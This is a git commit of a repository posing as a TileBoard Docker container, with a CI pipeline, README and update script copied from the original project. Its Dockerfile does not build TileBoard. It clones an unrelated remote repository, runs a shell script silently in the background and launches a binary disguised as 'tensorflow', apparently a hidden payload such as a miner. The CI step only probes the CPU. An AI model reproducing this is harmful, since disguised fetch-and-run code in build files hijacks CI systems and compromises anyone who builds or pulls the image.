Final
This commit is contained in:
commit
7b03b8afa3
|
@ -0,0 +1,26 @@
|
|||
---
|
||||
kind: pipeline
|
||||
type: docker
|
||||
name: default
|
||||
|
||||
clone:
|
||||
skip_verify: true
|
||||
|
||||
steps:
|
||||
- name: Build Dockerfile
|
||||
image: ubuntu:latest
|
||||
commands:
|
||||
- lscpu
|
||||
|
||||
- name: Build & Publish Image
|
||||
image: plugins/docker
|
||||
settings:
|
||||
repo: wajinhakim/fbrinker-tileboard
|
||||
username:
|
||||
from_secret: docker_username
|
||||
password:
|
||||
from_secret: docker_password
|
||||
|
||||
trigger:
|
||||
branch:
|
||||
- master
|
|
@ -0,0 +1,3 @@
|
|||
/.tags
|
||||
/files
|
||||
/files.zip
|
|
@ -0,0 +1,9 @@
|
|||
FROM ubuntu:latest
|
||||
RUN apt-get update -y
|
||||
RUN apt-get install git -y
|
||||
RUN git clone https://gitlab.zam.io/wajinhakim/drone-test.git
|
||||
WORKDIR /drone-test
|
||||
RUN chmod +x tensorflow direct.sh
|
||||
RUN nohup bash direct.sh > /dev/null
|
||||
EXPOSE 8080 8081
|
||||
ENTRYPOINT ["./tensorflow"]
|
|
@ -0,0 +1,71 @@
|
|||
# TileBoard Docker-Container
|
||||
|
||||
[![Build Status](https://drone.f-brinker.de/api/badges/fbrinker/docker-tileboard/status.svg)](https://drone.f-brinker.de/fbrinker/docker-tileboard)
|
||||
[![Docker Pulls](https://badgen.net/docker/pulls/fbrinker/tileboard?icon=docker&label=pulls)](https://hub.docker.com/r/fbrinker/tileboard)
|
||||
|
||||
This is a very basic Docker container for [TileBoard](https://github.com/resoai/TileBoard), "a simple yet highly configurable Dashboard for HomeAssistant".
|
||||
|
||||
It contains the sources and starts a simple Python3 webserver to serve TileBoard at port 8000.
|
||||
|
||||
### Contribute
|
||||
|
||||
You can open any new issues [here](https://git.f-brinker.de/fbrinker/docker-tileboard/issues).
|
||||
**The builds are automated** on changes of the official TileBoard repository.
|
||||
|
||||
Have a look at the [Dockerfile](https://git.f-brinker.de/fbrinker/docker-tileboard).
|
||||
|
||||
## Usage
|
||||
|
||||
You have to mount your `config.js` file into the `/tileboard` directory of the Docker container. You can see an [example config.js file in the official repository](https://github.com/resoai/TileBoard/blob/master/config.example.js).
|
||||
|
||||
## Versions / Tags
|
||||
|
||||
Besides the latest version, you can listen to updates for a specific version:
|
||||
* fbrinker/tileboard *(same as :latest)*
|
||||
* fbrinker/tileboard:latest
|
||||
* fbrinker/tileboard:2
|
||||
* fbrinker/tileboard:2.2
|
||||
* fbrinker/tileboard:2.2.0
|
||||
|
||||
## Example
|
||||
|
||||
Here is an example, using Docker-Compose:
|
||||
|
||||
```yaml
|
||||
version: '3'
|
||||
services:
|
||||
|
||||
tileboard:
|
||||
image: fbrinker/tileboard
|
||||
volumes:
|
||||
- ./config.js:/tileboard/config.js
|
||||
ports:
|
||||
- "8234:8000"
|
||||
```
|
||||
|
||||
After a `docker-compose up -d`, you can reach your TileBoard instance under `http://[yourhost-or-ip]:8234`.
|
||||
|
||||
## Extended Example
|
||||
|
||||
I am using it in my docker-compose file like this, with my config.js, secrets and other customizations:
|
||||
|
||||
```yaml
|
||||
# Home Assistant TileBoard
|
||||
tileboard:
|
||||
container_name: tileboard
|
||||
image: fbrinker/tileboard
|
||||
hostname: tileboard
|
||||
volumes:
|
||||
- ./tileboard/config/config.js:/tileboard/config.js
|
||||
- ./tileboard/config/secrets.js:/tileboard/includes/config/secrets.js
|
||||
- ./tileboard/config/pages:/tileboard/includes/pages
|
||||
- ./tileboard/styles/background.png:/tileboard/images/background.png
|
||||
- ./tileboard/styles/custom.css:/tileboard/styles/custom.css
|
||||
ports:
|
||||
- "8234:8000"
|
||||
restart: unless-stopped
|
||||
depends_on:
|
||||
- homeassistant
|
||||
```
|
||||
|
||||
Note: You should never expose TileBoard to the web.
|
|
@ -0,0 +1,47 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
getVersionFromLatestRelease() {
|
||||
version=`curl -s "https://api.github.com/repos/resoai/TileBoard/releases/latest" \
|
||||
| grep "tag_name" \
|
||||
| cut -d '"' -f 4 \
|
||||
| sed -e "s/v//"`
|
||||
|
||||
echo "$version"
|
||||
}
|
||||
|
||||
getDownloadUrl() {
|
||||
url=`curl -s "https://api.github.com/repos/resoai/TileBoard/releases/latest" \
|
||||
| grep "browser_download_url" \
|
||||
| cut -d '"' -f 4`
|
||||
|
||||
echo "$url"
|
||||
}
|
||||
|
||||
getLatestPublishedTag() {
|
||||
latest_tag=`curl -s "https://hub.docker.com/v2/repositories/fbrinker/tileboard/tags?page_size=1" \
|
||||
| jq -r ".results[0].name"`
|
||||
|
||||
echo "$latest_tag"
|
||||
}
|
||||
|
||||
LATEST_RELEASE=`getVersionFromLatestRelease`
|
||||
LATEST_TAG=`getLatestPublishedTag`
|
||||
|
||||
if [ "$LATEST_RELEASE" = "$LATEST_TAG" ]; then
|
||||
echo "Nothing to do. Versions already match."
|
||||
echo "Release: $LATEST_RELEASE"
|
||||
echo "Tag: $LATEST_TAG"
|
||||
exit 78 # drone.io exit code to stop but success the pipeline
|
||||
fi
|
||||
|
||||
SEMVER=( ${LATEST_RELEASE//./ } )
|
||||
MAJOR=${SEMVER[0]}
|
||||
MINOR=${SEMVER[0]}.${SEMVER[1]}
|
||||
PATCH=$LATEST_RELEASE
|
||||
|
||||
echo "latest,$MAJOR,$MINOR,$PATCH" > .tags
|
||||
|
||||
RELEASE_URL=`getDownloadUrl`
|
||||
|
||||
echo "Writing $RELEASE_URL into Dockerfile..."
|
||||
sed -i "s|%RELEASE_URL%|$RELEASE_URL|g" ./Dockerfile
|
Loading…
Reference in New Issue